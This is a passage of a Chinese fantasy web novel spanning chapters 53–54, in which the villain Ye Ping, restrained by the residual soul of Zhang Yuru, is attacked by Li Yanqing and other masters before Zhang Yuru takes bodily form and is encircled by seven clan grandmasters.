他抬手,墨色能量凝聚成一把黑色的长刀,朝着光盾狠狠劈下 ——“轰” 的一声巨响,淡蓝色的光盾在黑色长刀的劈砍与衰亡之力的侵蚀下,瞬间布满裂纹,紧接着便彻底破碎。 三名能力者被能量反噬,纷纷后退,嘴角溢出鲜血。 没了光盾的阻拦,叶平径直朝着李砚卿冲去。 黑色长刀横扫,带着一股腐朽的气息,直逼李砚卿的脖颈。 他突然催动「刹那」,身影化作一道黑色流光,直奔李砚卿而去 —— 在他看来,这几名大师级里,只有李砚卿有资格当他的对手,只要解决了她,剩下的人不过是土鸡瓦狗。 李砚卿早有防备,见叶平袭来,手中冰剑猛地刺入地面,口中轻喝:“冰封万里!” 地面瞬间冻结,厚厚的冰层以她为中心快速蔓延,朝着叶平的方向涌去,无数冰刺从冰层中凸起,试图限制叶平的移动。 同时,她身后的火焰系大师级也发动能力,一团熊熊烈火朝着叶平的后背袭来,形成前后夹击之势。 可叶平却丝毫不慌,在冰层即将触碰到他的瞬间,体内「颠倒世界」之力运转,墨色能量覆盖在脚底 。 原本向上凸起的冰刺,突然调转方向,朝着李砚卿的方向刺去;身后袭来的火焰,也在接触到墨色能量的瞬间,变成了冰冷的火星,彻底失去了杀伤力。 “什么?!” 李砚卿瞳孔骤缩,她从未见过如此诡异的能力,能直接颠倒能量的属性。 还没等她反应过来,叶平已经冲破冰层,来到她的面前,右手带着墨色衰亡之力,朝着她的胸口拍去。 李砚卿仓促间举剑格挡,冰剑与叶平的手掌碰撞在一起,发出 “咔嚓” 的脆响。刺骨的寒气顺着冰剑传入叶平体内,却被墨色能量瞬间吞噬。 而叶平掌心的衰亡之力,也顺着冰剑蔓延,冰剑上的冰花以肉眼可见的速度枯萎、碎裂,很快就变得锈迹斑斑。 “噗 ——” 李砚卿被一股巨大的力量震得后退几步,嘴角溢出一丝鲜血,清冷的脸上终于露出了震惊之色。 她能清晰地感受到,自己的寒冰之力在叶平面前,几乎没有任何作用,反而会被对方的衰亡之力吞噬。 叶平步步紧逼,掌风凌厉,招招致命。 李砚卿虽然拼尽全力抵抗,凭借寒冰能力制造出一道道冰墙、冰棱阻拦,却始终处于下风。 她的每一次攻击,都会被叶平的「颠倒世界」之力化解;而叶平的每一次反击,都让她险象环生,身上已经添了好几道伤口,伤口处还残留着衰亡之力,让她的生命力不断流失。 她赶紧调动体内的能量,强行逼退那丝能量,可手掌上还是留下了一块黑色的印记,久久无法消散。 看着叶平步步紧逼的身影,李砚卿的脸色越来越凝重 —— 她的战力在雍州年轻一代中堪称顶尖,实力更是达到了大师级巅峰,距离宗师级只有一步之遥。 可在叶平的「天人五衰」面前,却处处受制,连武器都能被腐蚀,再这样打下去,她迟早会落得和那些人一样的下场。 叶平显然也看出了李砚卿的窘迫,黑色长刀再次挥出,招招致命,每一次攻击都带着浓郁的衰亡之力,逼得李砚卿只能不断后退,根本没有反击的机会。 周围的三名大师级能力者虽然想帮忙,却被叶平的气势压制,根本不敢靠近,只能眼睁睁看着李砚卿落入下风,局势再次朝着 “一面倒” 的方向发展。 竹屋的窗纸被风吹得晃动,屋内的夏侯雪显然也听到了外面的打斗声,却没有丝毫动静 —— 她知道自己贸然出去只会给人添麻烦。 可是叶平终究还是找到了机会,他一个加速甩开了那几人的纠缠。 墨色的能量刀锋裹着凛冽的杀意,离夏侯雪的咽喉只有三寸距离。 夏侯雪甚至能感受到刀锋上散发出的衰亡气息,冰冷的恐惧顺着脊椎爬上头顶,她下意识地闭上眼,手指紧紧攥住衣角,连呼吸都忘了。 周围的厮杀声仿佛在这一刻凝固 —— 李砚卿刚凝聚起的冰棱悬在半空,几名大师级能力者的攻击也僵在原地,所有人都盯着叶平那突然静止的身影。 他保持着挥刀的姿势,混沌色的瞳孔却微微转动,嘴角的狞笑慢慢变成了一种带着算计的得意笑容,仿佛早就等这一刻。 “终于把你逼出来了。” 叶平的声音打破了死寂。 他没有看夏侯雪,也没有理会身后的李砚卿,目光像是在凝视自己的身体内部,语气里满是得逞的愉悦,“藏了这么久,不就是怕我针对夏侯雪吗?现在总算肯出来了。” “你高兴的有点太早了。” 一道平淡却熟悉的声音突然从叶平体内传出,没有丝毫波澜,却像一道惊雷炸在夏侯雪耳边。 她猛地睁开眼,难以置信地看向叶平的方向 —— 这声音,分明是张玉汝的!那个她以为早已被炼成混元大丹、彻底陨落的人! 夏侯雪的身体控制不住地颤抖起来,手指微微颤抖。 她曾无数次在深夜想起张玉汝,想起他的背影,想起他最后被围剿时的决绝,可她从没想过,还能再听到他的声音。 第 53章 误判 “呵呵呵,张玉汝,如果你还活着的话,我还惧你几分,现在你已经成了残魂野鬼,居然还有胆子跳出来。”叶平笑容灿烂。 “看来我来杀夏侯雪这一步是走对了。” “给我死来!”叶平大喝道,他要在张玉汝的面前去杀掉夏侯雪,让他道心破碎。 然而叶平虽然气势汹汹,但身体却没有丝毫的动作,这种割裂的表现呈现在众人面前却有几分滑稽之感。 虽然现在的情况危险又紧张,但是一旁的李砚卿几人看到这一幕之后还是差点笑出声来。 “张玉汝!你对我的身体做了什么?”叶平的脸上失去了笑容,他原本以为自己稳操胜券,但是现在来看,张玉汝对他的影响,比他想象当中要更加严重。 叶平的笑容还僵在脸上,指尖的墨色衰亡之力却开始不受控制地颤抖。 他能清晰地感受到,体内原本温顺的能量突然变得狂躁,像被无形的手攥住,无论他怎么催动,都无法让手臂再往前递出半寸。 刀锋离夏侯雪的眉心只有不到三尺,可这短短三尺,却成了他再也跨不过的鸿沟。 “呵呵,残魂又如何?” 张玉汝的声音从叶平体内传出,依旧平淡,却带着一种洞悉一切的从容,“至少,我还能管住你这具被欲望填满的躯壳。” 叶平的瞳孔骤然收缩,脸上的灿烂笑容瞬间褪去,取而代之的是狰狞的恐慌。 他拼命调动体内的混元大丹之力,想冲破这层无形的束缚。 墨色能量在他周身翻涌,将地面的青石板都染成了枯灰色,庭院里的花草以肉眼可见的速度枯萎,可他的身体依旧纹丝不动,连手指都只能微微抽搐,像被钉在了原地。 “你到底做了什么?!” 叶平的声音发颤,带着一丝连他自己都没察觉的恐惧。 他之前以为,张玉汝的残魂顶多是影响他的念头,比如让他下意识避开普通人。 可现在看来,这残魂早已在他融合丹药时,悄悄在他的经络里埋下了 “枷锁”—— 杀夏侯雪,就是触发这枷锁的钥匙。 “没做什么。” 张玉汝的声音透过叶平的喉咙传出,却带着与叶平截然不同的沉稳。 “只是在你吸收我力量的时候,顺便在你的‘能量核心’里,留了一道‘反向印记’罢了。你想靠我的力量作恶,总得付出点代价。” 一旁的李砚卿几人早已收敛了笑意,脸色凝重地握紧武器。 他们能看到,叶平周身的衰亡之力越来越不稳定,时而暴涨时而收缩,青石板上的裂痕不断蔓延,可他的身体始终保持着挥刀的姿势,像一尊失控的木偶。 这种 “有力使不出” 的割裂感,比叶平全力出手时更让人警惕 —— 谁也不知道,下一秒是叶平挣脱控制,还是这股混乱的能量突然爆发。 夏侯雪站在阁楼的门槛后,双手紧紧攥着衣角,脸色苍白却眼神明亮。 她盯着叶平的脸,仿佛能透过这张狰狞的面孔,听到张玉汝熟悉的声音。“姜…… 姜大哥?” 她试探着轻声开口,声音里带着难以置信的颤抖 —— 她曾以为张玉汝早已在炼药时彻底消亡,却没想到,他竟以这样的方式 “回来”。 叶平听到夏侯雪的声音,更是急红了眼,喉咙里发出 “嗬嗬” 的低吼,像被困住的野兽。 他想怒斥,想挣扎,想哪怕动用一丝力量也要划破夏侯雪的皮肤,可身体却像被焊死了一样,连嘴唇都只能开合半寸。 体内的能量还在冲突,混元大丹的力量与张玉汝的反向印记相互撕扯,让他的经脉传来阵阵剧痛,冷汗顺着额头滑落,浸湿了衣领。 “你以为,杀了夏侯雪就能让我道心破碎?” 张玉汝的声音再次响起,带着一丝淡淡的嘲讽。 “你从未懂过‘道’,也从未懂过我为何要护着那些‘普通人’。你眼里只有力量和报复,却不知道,你越是想毁掉我在意的东西,这道印记就会锁你越紧。” 叶平的胸膛剧烈起伏,眼神里的恐慌渐渐被绝望取代。 他终于明白,自己从一开始就错了 —— 他以为吸收了张玉汝的力量,就能掌控一切,却没想到,自己早已成了张玉汝残魂的 “容器”,一举一动,都在对方的算计之中。 庭院里的空气彻底凝固,只有叶平粗重的喘息声,和他周身不稳定的衰亡之力发出的 “滋滋” 声。 李砚卿悄悄抬手,示意身后的大师级能力者做好准备 —— 她不知道这场僵持会持续多久,但只要叶平露出一丝破绽,她就会立刻发动最强的寒冰能力,将这颗定时炸弹彻底冻结。 叶平的拳头死死攥着,指甲几乎嵌进掌心,鲜血顺着指缝滴落在冻结的青石板上,瞬间凝成细小的血冰。 他猩红的眼睛像要吃人,嘴角却扯出一抹扭曲的笑,每一个字都像从牙缝里磨出来:“好!好!好!张玉汝,你倒是会躲!可老子就算把这具身体炸成碎片,也绝不会让你借着我的壳子复生!” 话音未落,他猛地转头看向李砚卿,声线因极致的疯狂而发颤,却带着不容置疑的狠劲:“李砚卿!动手!用你最强的招!往死里打!今天要么我死,要么这残魂灭!你要是敢留手,等我挣脱控制,第一个屠了你李家满门!” 李砚卿站在原地,周身的寒气早已凝聚到极致,她那头墨发被凛冽的寒气染出细碎的冰晶,眼睫上也凝着一层白霜,清冷的眼神里没有丝毫犹豫。 听到叶平的喊话,她只淡淡吐出三个字:“不必你教。” 话音落下的瞬间,李砚卿手中的冰剑骤然崩碎,化作漫天细密的冰屑。 随着她手臂一扬,冰屑在半空汇聚成一道巨大的冰蓝色虚影 —— 那是一座浓缩的冰川轮廓,峰峦叠嶂间覆满万年不化的寒冰,冰棱如刀刃般向外凸起,还没完全成型,周围的空气就已冷到极致,庭院里的血迹瞬间冻结成暗红色的冰壳,连飘落的雪花都被冻在半空,成了静止的冰晶。 “碎玉寒川!” 李砚卿低喝一声,手臂猛地向前推去。 那道冰川虚影瞬间暴涨,从丈许大小扩至数丈宽,带着撕裂空气的锐响,朝着叶平碾压而去。 地面被冰川虚影掠过的地方,瞬间裂开蛛网般的冰缝,裂缝中不断涌出寒气,凝结出半人高的冰锥,密密麻麻地朝着叶平刺去;连周围的李家子弟都下意识后退,身上的衣物瞬间结了层薄冰,呼吸间吐出的白雾都成了细小的冰粒。 “不要!” 夏侯雪突然从护卫身后冲出来,裙摆被寒气吹得猎猎作响,眼泪顺着脸颊滑落,刚到下巴就冻成了冰晶。 她看着那道足以摧毁一切的冰川,声音嘶哑地哀求:“李姐姐!别杀他!张玉汝还在他身体里!” 可李砚卿没有回头,清冷的眼神始终锁定叶平,冰川虚影的速度又快了几分。 叶平看着迎面而来的冰寒,非但没有恐惧,反而笑得更疯狂了,他朝着体内嘶吼:“张玉汝!看到了吗?老子就算死,也要拉你一起!你永远别想……” 话没说完,冰川虚影就狠狠撞上了叶平的身体。 “咔嚓 ——” 清脆的冻结声盖过了一切。 叶平周身的墨色衰亡之力瞬间被寒气压制,像被冻住的墨汁,再也无法流动。 他的身体以肉眼可见的速度结冰,从双脚到头顶,短短一息间就被厚厚的冰层包裹,只露出一双还在疯狂转动的眼睛。 冰层上还不断蔓延着细密的裂纹,每一道裂纹里都渗出寒气,将他体内的能量一点点冻结、碾碎。 叶平能清晰地感受到,自己的骨骼在冰寒中发出不堪重负的脆响,经脉被冻结的能量撑得生疼,连张玉汝残魂的气息都弱了几分。 可他依旧在笑,笑声从冰层里传出来,沉闷又诡异:“哈哈哈…… 张玉汝…… 你跑不掉的…… 我们一起死……” 李砚卿没有停下,她抬手再挥,冰川虚影上的冰棱突然炸裂,化作无数道锋利的冰刃,朝着被冻结的叶平射去。 每一道冰刃都带着足以刺穿钢铁的力道,瞬间在冰层上留下密密麻麻的孔洞,寒气顺着孔洞涌入,将叶平体内最后一丝反抗的力量也冻结殆尽。 夏侯雪看着被冰层包裹、满身冰刃的叶平,双腿一软,瘫坐在地上,眼泪再也止不住。她知道,叶平就算不死,也彻底废了,可张玉汝的残魂…… 会不会也跟着消散了? 冰层里,叶平的笑声渐渐微弱,猩红的眼睛也开始失去神采。 “还不够。” 张玉汝的声音从叶平体内传出,依旧平稳得像一潭深冰,没有丝毫波澜,仿佛刚才「碎玉寒川」的冰封与撕裂,都没对他造成任何影响。 这句话像一根火柴,瞬间点燃了叶平紧绷的神经。 他原本因身体失控而扭曲的脸,突然迸发出近乎癫狂的笑意,嘴角咧到耳根,露出森白的牙齿,浑浊的瞳孔里满是血丝:“还不够?好!好得很!张玉汝你有种!” 他的声音嘶哑得像被砂纸磨过,每一个字都带着咬牙切齿的狠厉,“臭婊子!你没吃饭吗?这点力道连给我挠痒都不够!用尽全力!把你压箱底的本事都拿出来!” 他像疯狗一样朝着李砚卿嘶吼,身体却依旧僵在原地,只有脖颈和肩膀在剧烈颤抖,手指徒劳地蜷缩着。 明明是求别人杀自己,姿态却嚣张得像在发号施令,那股疯狂劲儿看得李砚卿眉头紧锁,也让阁楼里的夏侯雪攥紧了衣角,脸色白得像纸。 李砚卿眼神一冷,没再废话。 她很清楚,这是除掉叶平的最好机会,也是彻底解决张玉汝残魂的唯一可能。 她抬手示意身后的四名大师级能力者,声音依旧冰冷:“全力出手,不留余地。” 话音未落,李砚卿率先动了。 她双手结印,周身寒气骤然暴涨,原本覆盖在地面的薄冰瞬间凝结成半人高的冰棱,朝着叶平的方向疯狂蔓延。 这一次,她没再保留,体内大师级的能量毫无保留地爆发,淡蓝色的寒气在她掌心汇聚,形成一道半透明的冰弓。 弓身雕刻着繁复的雪花纹路,弓弦是由极寒之气凝成的银丝,而箭簇,则是一颗拳头大小的冰魄,里面包裹着无数细碎的冰晶,散发着能冻结空气的低温。 “「碎玉寒川」??绝杀!” 李砚卿松开弓弦,冰箭像一道蓝色闪电,瞬间划破空气,沿途的温度骤降至零下几十度,连飘落的尘埃都被冻成了冰晶。 冰箭还未到叶平面前,他周身的墨色衰亡之力就开始结冰,原本流动的能量变得滞涩,像被冻住的墨汁。 与此同时,其他四名大师级能力者也同步发动攻击: 火系大师抬手一挥,一团脸盆大小的火球轰然炸开,化作无数带着火星的火雨,朝着叶平倾泻而下,空气中瞬间弥漫着灼热的气息,与李砚卿的寒气形成鲜明对比。 风系大师深吸一口气,口中吐出一道高速旋转的风刃,风刃周围还缠绕着细小的雷电,发出 “滋滋” 的声响,朝着叶平的脖颈斩去。 木系大师则将手掌按在地面,无数粗壮的藤蔓从地底钻出,像毒蛇一样缠绕向叶平的四肢,藤蔓表面还带着锋利的倒刺,一旦缠紧就会刺穿皮肤,注入麻痹毒素。 多属性的攻击与李砚卿的冰箭同时抵达,五颜六色的光影瞬间将叶平的身影彻底淹没 —— 蓝色的冰箭、红色的火雨、青色的风刃、绿色的藤蔓,交织成一张致命的网,将叶平困在正中央。 “轰!” 剧烈的爆炸声在庭院中响起,冲击波将周围的阁楼窗户震得粉碎,地面裂开一道道蛛网般的缝隙,原本覆盖在地面的薄冰瞬间化为齑粉,又被火雨烤成水汽,整个空间都被蒸腾的白雾笼罩。 叶平的惨叫声在白雾中响起,却带着一丝诡异的兴奋:“哈哈哈!痛快!张玉汝!你感受到了吗?这就是死亡的滋味!你休想复生!休想!” 白雾渐渐散去,叶平的身影显露出来 —— 他的左臂已经被冰箭冻成冰块,表面还覆盖着一层冰晶,火雨在他胸口烧出几个焦黑的窟窿,风刃在他脖颈处留下一道深可见骨的伤口,藤蔓则紧紧缠绕着他的双腿,倒刺已经刺穿了他的裤子,渗出鲜血。 可他依旧在笑,笑得癫狂,笑得撕裂,浑浊的瞳孔里满是疯狂的满足:“还不够…… 再来!把我杀了!彻底杀了我!” 李砚卿的指尖已凝结出细碎的冰棱,淡蓝色的寒气顺着她的手腕蔓延,连空气中的水汽都被冻结成微小的冰晶。 刚才那轮集火虽将叶平淹没,可她不敢有半分松懈,只想尽快发动下一轮攻击,彻底断绝变数。 她眼神冷得像冰,扫过被光影包裹的叶平,指尖微微下沉,准备将「碎玉寒川」的威力再次提升。 可就在这时,一道平静却清晰的声音突然从头顶传来,带着一丝不易察觉的嘲讽:“傻逼。” 这声音和之前从叶平体内传出的截然不同 —— 没有了残魂的虚弱感,反而像洪钟般在独立空间里回荡,连脚下的青石板都微微震颤。 李砚卿猛地抬头,握着冰剑的手骤然收紧,瞳孔瞬间缩成针尖大小。 高天之上,原本空无一物的地方,正有黑白二色的能量疯狂汇聚。 黑色能量像浓稠的墨雾,带着衰亡的死寂感,在空中缓缓旋转,所过之处,连空间都泛起细微的褶皱;白色能量则像纯净的光流,轻盈却充满生机,与黑色墨雾缠绕交织,形成一道巨大的太极状光轮。 光轮中央,一道模糊的人影正缓缓成型 —— 能看到飘动的衣袂轮廓,能感受到一股远超大师级的压迫感,正随着能量的汇聚,一点点压向地面。 “这…… 这是……” 身后一名大师级能力者失声惊呼,握着武器的手开始发抖。 他能清晰地感知到,那道人影散发的能量波动,可张玉汝明明该被炼制成混元大丹,连残魂都该消散才对! 李砚卿的后背瞬间渗出冷汗,清冷的脸上第一次出现了裂痕。 她死死盯着高空的人影,体内的寒冰能量疯狂运转,却发现自己的气息在对方的压迫下,竟有些滞涩。 这不是大师级级能有的威慑力,哪怕是李家的那位宗师级能力者,也从未给过她这种 “蝼蚁面对苍穹” 的无力感。 被光影包裹的叶平也停住了癫狂的嘶吼,他艰难地抬起头,看着高空中的黑白光轮,混沌色的瞳孔里满是绝望。 “不可能…… 你明明只是残魂…… 怎么会……” 他的声音嘶哑,像被砂纸磨过,“我已经吸收了你的力量…… 你怎么还能凝聚形体?!” 黑白光轮中的人影没有回应,只是那道轮廓似乎又清晰了几分。 黑色墨雾与白色光流旋转得更快,周围的空气开始快速降温,庭院里未散的血迹瞬间冻结成暗红色的冰壳,连之前集火留下的余温,都被这股能量彻底压了下去。 李砚卿咬着牙,强行稳住心神,对着身后的人低喝:“所有人戒备!能量提到极致!他还未完全成型,或许…… 或许有机会打断!” 可她的声音里没了之前的笃定,连她自己都清楚,面对这种级别的能量汇聚,他们这些人,恐怕连阻拦的资格都没有。 高空的人影似乎察觉到了下方的异动,黑白光轮突然微微倾斜,一道细小的黑色流光从光轮中落下,擦着李砚卿的耳边飞过,落在她身后的石墙上。 “轰隆” 一声,那面厚达三尺的石墙瞬间化为齑粉,连一点残渣都没留下,只在地面上留下一个深不见底的黑洞。 没有多余的动作,没有多余的话语,可这一击带来的震慑,却比之前的集火还要强烈。 庭院里瞬间陷入死寂,只剩下黑白光轮旋转的 “呜呜” 声,和众人压抑的呼吸声。 第 54章 规格 李砚卿举着冰刃的手僵在半空,瞳孔骤然收缩 —— 刚才张玉汝那漫不经心的攻击落下时,一股无形的压力突然从高空碾压而下,像一柄悬在头顶的无形利剑,让她浑身的寒系能量瞬间凝滞,连呼吸都变得艰难。 那不是刻意释放的杀气,而是一种更恐怖的 “掌控感”,仿佛她的生命、她的能力,乃至她的呼吸,都被对方牢牢攥在手里,随时能被轻易掐断。 这种感觉,是她活了二十多年从未体验过的。 作为李家嫡系天人,她自小锦衣玉食,修炼用的资源从不缺,出任务也都是家族筛选过的 “安全活计”—— 要么是镇压异兽,要么是调解附庸势力的矛盾,那些真正需要拼上性命的凶险任务,从来轮不到她。 她习惯了高高在上,习惯了挥手间就能碾压对手,却从未想过,自己也会有 “生死转瞬” 的时刻,像蝼蚁一样,连反抗的资格都没有。 寒意顺着脊椎爬上头顶,李砚卿握着冰刃的手指微微颤抖,眼神里满是恍惚。 她看着高空中不断汇聚的黑白二色能量,耳边仿佛还回荡着那道冰冷的声音,连刚才要发动攻击的念头,都在这股压力下消散得无影无踪。 没人去阻止这一切。 李砚卿陷在失神中,连基本的反应都做不到;旁边的几名大师级能力者更是早早就退到了远处。 他们刚才已经见识过叶平的恐怖,此刻感受到高空那股更可怕的能量,哪里还敢上前,只敢缩在角落,用警惕又恐惧的眼神盯着天空。 叶平身体依旧僵在原地,只能用怨毒的目光死死盯着那团能量,却连动一根手指的力气都没有。 高空中,黑白二色的能量还在不断交织、凝聚。 白色能量像月光般柔和,却带着生生不息的生机;黑色能量像墨汁般浓稠,却透着难以言喻的死寂。 两种截然相反的能量缠绕在一起,没有相互排斥,反而像阴阳相济般,渐渐勾勒出一个模糊的人形轮廓。 这个过程,快得像眨眼间,却又慢得让人煎熬。 每一秒,那道人影都清晰一分,周围的能量波动也强一分,连独立空间里的空气都开始扭曲,庭院中的青石板裂开细密的纹路,之前战斗留下的血迹被无形的力量蒸发,化作一缕缕白烟消散。 终于,当黑白二色的光影彻底散去时,一道挺拔的身影出现在高空 —— 张玉汝悬浮在半空中,脚下不知何时出现了一道由黑白能量凝聚而成的台阶,台阶层层向下,直抵庭院地面。 他迈步走下台阶,每一步落下,台阶都会泛起一圈淡淡的涟漪,仿佛踏在虚实之间。 他身上穿着一件简单的练气服,衣襟左半是纯粹的白,右半是深邃的黑,可这两种极端的颜色却没有丝毫割裂感,反而像水墨画般,在衣摆、袖口处自然交融。 若是有人定睛细看,会发现白与黑的交界处,仿佛笼罩着一层淡淡的光晕,明明能清晰看到两种颜色,却始终找不到它们的分界线,就像生与死、光与暗,在他身上达成了完美的平衡。 夏侯雪躲在阁楼窗边,看着走下台阶的张玉汝,泪水瞬间模糊了双眼 —— 她曾以为张玉汝早已死在叶平手中,化作了混元大丹的养料,却没想到,他竟然以这样的方式归来。 旁边的李家子弟们,更是吓得大气不敢出,刚才叶平带来的恐惧还未消散,此刻张玉汝身上散发出的气息,比叶平恐怖百倍,让他们连抬头的勇气都没有。 没人知道张玉汝是如何做到的,没人明白残魂为何能凝聚成形,更没人清楚他此刻拥有怎样的力量。 但所有人都清楚,随着张玉汝一步步走下台阶,这场由叶平掀起的风波,已经彻底偏离了轨道。 就在张玉汝脚踏黑白台阶缓缓落地的瞬间,高空突然传来 “咔嚓” 一声巨响。 云层被撕裂,一道水桶粗的金色雷霆裹挟着毁灭气息,从九天直坠而下,像天神挥出的怒鞭,狠狠劈向那团尚未完全稳定的黑白能量。 雷霆过处,空气被灼烧得发出 “滋滋” 声响,庭院里的青石板瞬间崩裂,碎石夹杂着电光四处飞溅。 这道雷霆蕴含的力量,比刚才李砚卿的「碎玉寒川」与其他大师级能力者的攻击总和还要恐怖,刚一接触张玉汝周身的能量层,就炸开刺眼的金白色光晕。 原本已经清晰的人形轮廓,瞬间被雷光冲散大半,只剩下一团模糊的黑白雾气,在雷光中剧烈翻腾,仿佛下一秒就要彻底消散。 “是九天长老!是李九天长老来了!” 一名蜷缩在角落的李家子弟突然激动地嘶吼起来,声音里满是劫后余生的狂喜,“有长老在,我们得救了!这怪物肯定要被劈成飞灰!” 众人循声望去,只见一道身着紫金色雷纹长袍的身影,踏着电光从云层中缓缓落下。 来人正是李九天 —— 李家负责内部刑罚的家老,宗师级雷电能力者,其「九天惊雷」之术在雍州宗师中以霸道著称。 凡是触犯李家规矩的嫡系子弟,没人敢直面他的雷霆之威。 在普通李家子弟看来,这位久负盛名的宗师出手,对付一个尚未完全成型的张玉汝,必然是手到擒来。 可李砚卿握着冰刃的手却更紧了,清冷的眉头拧成一团。 她刚才亲身感受过张玉汝那股 “掌控生死” 的压迫感,深知对方绝非凡俗 —— 李九天虽是宗师,但若仅凭一人之力,未必能压制住张玉汝。 仿佛是为了印证她的担忧,李九天的雷霆刚落,整个独立空间突然剧烈震颤起来。 以张玉汝和叶平为中心,一圈圈透明的涟漪凭空浮现,像投入石子的湖面,迅速向外扩散。 涟漪所过之处,空间仿佛被切割成独立的碎片,李家子弟们试图靠近,却被无形的屏障弹开,连能量攻击都无法穿透 —— 这是空间系能力者的手段! 众人抬头望去,只见一名身着灰袍的老者悄无声息地出现在涟漪边缘,他双手负在身后,指尖萦绕着淡淡的空间波动,正是李家隐藏的空间系宗师李虚临。 他没有多余动作,只是微微抬手,那圈空间涟漪便再次收缩,将张玉汝彻底困在其中,断绝了他突围的可能。 紧接着,地面突然传来 “轰隆隆” 的震动。 以张玉汝脚下为中心,坚硬的青石板像被无形巨手掀开,迅速化作一片粘稠的黑色沼泽,沼泽中不断翻涌出磨盘大小的石块,带着呼啸的风声砸向张玉汝。 这些石块未必能造成致命伤害,却像跗骨之蛆般连绵不绝,显然是为了拖延他恢复的速度。 “是李沉渊长老的「地脉囚笼」!” 有人认出了这招,惊呼出声。 只见一名身着土黄色短褂、脚踩黑靴的老者,从庭院角落的阴影中走出,双手按在地面,浑浊的眼睛死死盯着能量屏障。 三名李家宗师!且都是身居高位、久不出手的老牌强者!这样的阵容,就算是面对帝级异兽的幼年期,也足以将其压制,用来对付尚未恢复的张玉汝,怎么看都该是绰绰有余。 李砚卿紧绷的神经稍稍放松,可下一秒,空间的震颤再次加剧。 远处的天空中,四道气息截然不同的身影正快速逼近 —— 为首的是一名身着赤色铠甲的壮汉,周身萦绕着灼热的火焰,正是赵家掌管军权的宗师赵烈阳。 紧随其后的,是秦家长老秦止水,他脚踏水流,周身水汽氤氲,所过之处地面结起薄冰;魏家的魏山宗则提着一柄巨大的石斧,每一步落下都让地面微微震动。 最后赶来的柳家柳千丝,手中握着丝线般的细针,针上泛着幽蓝的毒光。 赵、秦、魏、柳四家的隐藏宗师,竟也全部到场! 七道宗师级气息在庭院上空交织,形成一张无形的威压之网,让下方的李家子弟们连呼吸都不敢大声。 他们从未见过如此豪华的宗师阵容 —— 要知道,雍州前线对抗帝级异兽带领的异兽队伍,也不过只派遣了十五名宗师坐镇。 可现在,为了一个张玉汝,七大宗师齐聚,甚至不惜暴露家族隐藏的底蕴。 李九天看着陆续到来的四位外家族长,眉头微挑,却并未多言,只是抬手再次凝聚雷霆,金色的电光在他掌心跳动,照亮了他冷峻的脸庞。 李沉渊与李虚临也调整姿态,三人呈三角之势,将能量屏障死死锁定。 赵烈阳四人则落在屏障另一侧,形成合围之势,火焰、水流、石斧、毒针各自对准屏障中心,随时准备发动攻击。 能量屏障内,张玉汝的黑白雾气还在翻腾,却已不再像刚才那般剧烈。 而被控制在原地的叶平,看着外面七道散发着恐怖气息的身影,脸上露出了扭曲的笑容:“张玉汝,你就算能凝聚形体又如何?七大宗师围剿,今天你插翅难飞!” 屏障外,七大宗师没有立刻动手,只是用警惕的目光盯着里面的黑白雾气。 他们都能感受到,那团雾气中蕴含的力量正在快速恢复,若是等对方彻底成型,恐怕这场围剿会付出惨重的代价。 空气仿佛凝固了,只有能量屏障的涟漪还在不断扩散,预示着一场惊天动地的大战,即将爆发。 “七名宗师级能力者围堵我一人,这份‘礼遇’,还真是让我受宠若惊。” 张玉汝悬浮在黑白能量交织的光罩中,脸上勾起一抹灿烂的笑。 可那笑容里没有半分暖意,反而带着刺骨的嘲讽,“只不过我倒想问一句 —— 这七尊‘宗师’齐聚,若是早些去守外城,异兽还能那般轻易破城吗?” 话音落下的瞬间,他脸上的笑容骤然消失,黑白分明的眸子里翻涌着怒意,连周身的能量都跟着躁动起来,脚下的能量台阶泛起细密的涟漪,仿佛在呼应他的情绪。 “杀掉你之后,我们自会去清剿异兽。” 李九天悬浮在半空,周身缠绕着淡金色的雷电,语气平淡得像在陈述一件无关紧要的小事。 “若你真想让那些贱民少死几个,不如乖乖束手就擒,省得耽误时间 —— 你多抵抗一刻,城外就多一批贱民沦为异兽的口粮。” “你的意思是,外城被破、百姓惨死,反倒要怪我?” 张玉汝像是听到了天大的笑话,挑眉反问,可眼底的寒意却越来越浓。 “你们为了杀我,放任防线空虚;为了一己私欲,让无数人成为异兽的祭品,现在倒好,把所有罪责都推到我头上?” “放肆!” 李九天猛地抬手,一道小臂粗的雷电在掌心凝聚,带着 “滋滋” 的声响。 “若你早点束手就擒,叶家嫡系不会死;叶家嫡系不死,益州防线的兵力就不会被抽调;防线兵力不缺,异兽怎会轻易破城?张玉汝,这一切的根源,都是你!” 他厉声喝道,语气里满是不容置喙的傲慢,仿佛自己说的就是铁律。 “这是什么狗屁逻辑!” 张玉汝额角的青筋狠狠跳动了几下,拳头不自觉地握紧,指节泛白。 “你们让我死,我就得引颈受戮?你们为了私欲犯下的罪孽,要让我来背锅?天人就可以如此颠倒黑白、草菅人命吗?” 他实在无法理解这种强盗逻辑,或许从一开始,这些所谓的 “天人” 就没有逻辑可言 —— 在他们眼里,自己的意志就是天理,贱民的性命不过是可有可无的尘埃。 “自然。” 李九天的语气依旧平静,甚至带着一丝理所当然的冷漠。 “我们让你死,便说明你该死。天人不会出错,先导会更不会出错。既然我们没错,那错的,只能是你这个违抗天人意志的贱民。” 他说这话时,眼神里没有丝毫波澜,仿佛在谈论一件再正常不过的事。 就像人类不会觉得踩死蝼蚁有错,在他眼里,张玉汝和那些死去的百姓,与蝼蚁并无区别。 “好!好!好!” 张玉汝连说三个 “好” 字,声音里带着浓浓的自嘲,他抬手按在胸口,像是在嘲笑自己曾经的天真。 “我还真是个傻逼,傻逼到以为你们这些‘天人’,至少还会把自己当个人,至少还会对人类有点用。” 他深吸一口气,再抬眼时,眼底的怒意已经沉淀为冰冷的杀意,周身的黑白能量疯狂涌动,像是即将喷发的火山,连周围被宗师们布下的空间屏障都开始微微震颤。 “既然你们不把自己当人,也不把天下人当人,那今天,就都留在这吧 —— 别去祸害那些无辜的百姓了。” “口气倒是不小。” 来自魏家的宗师魏山宗冷哼一声,脚下的沼泽翻涌得更厉害,一块块巨石朝着张玉汝砸去。 “不过是个刚凝聚形体的残魂,连大师级巅峰都未必稳得住,也敢在七大宗师面前说大话?先活下去再说吧!” 其他几名宗师也纷纷释放气息,雷电、土系、风刃、火焰等能量交织在一起,在张玉汝周围形成一道密不透风的能量囚笼,空气中的压迫感几乎要将人碾碎。 可张玉汝却毫不在意,他看着眼前这些高高在上、视人命如草芥的 “天人”,嘴角勾起一抹冰冷的弧度 。 今天,他就要让这些所谓的 “天人”,尝尝被自己蔑视的 “贱民” 踩在脚下的滋味。 第 55章 价值 